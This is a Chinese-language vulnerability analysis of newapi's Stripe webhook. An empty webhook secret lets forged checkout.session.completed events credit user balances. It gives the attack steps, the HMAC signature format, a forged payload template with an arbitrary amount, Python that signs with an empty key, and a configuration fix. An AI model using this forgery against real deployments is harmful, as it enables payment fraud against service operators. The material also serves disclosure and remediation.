newapi Stripe Webhook 充值漏洞深度分析 - 空密钥绕过支付验证

1
1. 发现目标暴露了 Stripe Webhook 端点 /api/stripe/webhook
2
2. 通过初始审计（或黑盒探测）确认服务端使用了空的 StripeWebhookSecret
3
3. 获取或猜测 client_reference_id 的格式（如 USR + 数字 + 随机字符串 + 时间戳）

1
signed_payload = "{timestamp}.{json_body}"
2
v1 = HMAC-SHA256(webhook_secret, signed_payload)
3
Header = "t={timestamp},v1={v1}"

1
{
2
  "type": "checkout.session.completed",
3
  "data": {
4
    "object": {
5
      "client_reference_id": "目标用户/订单 ID",
6
      "status": "complete",
7
      "payment_status": "paid",
8
      "amount_total": 任意金额
9
    }
10
  }
11
}

1
收到请求
2
  ↓
3
用空密钥验签 → 通过 ✅
4
  ↓
5
解析事件类型 → checkout.session.completed
6
  ↓
7
读取 client_reference_id 查找订单
8
  ↓
9
标记订单已支付，给用户充值

1
import hmac
2
import hashlib
3

4
# 空密钥仍能计算
5
signature = hmac.new(
6
    b"",  # 空密钥
7
    b"timestamp.body",
8
    hashlib.sha256
9
).hexdigest()
10
# 结果：有效的 64 字符十六进制字符串

1
# ❌ 错误：未检查密钥是否为空
2
if not webhook_secret:
3
    webhook_secret = ""  # 危险！
4

5
# ✅ 正确：强制要求配置密钥
6
if not webhook_secret or len(webhook_secret) < 32:
7
    raise ConfigurationError("Stripe webhook secret must be configured")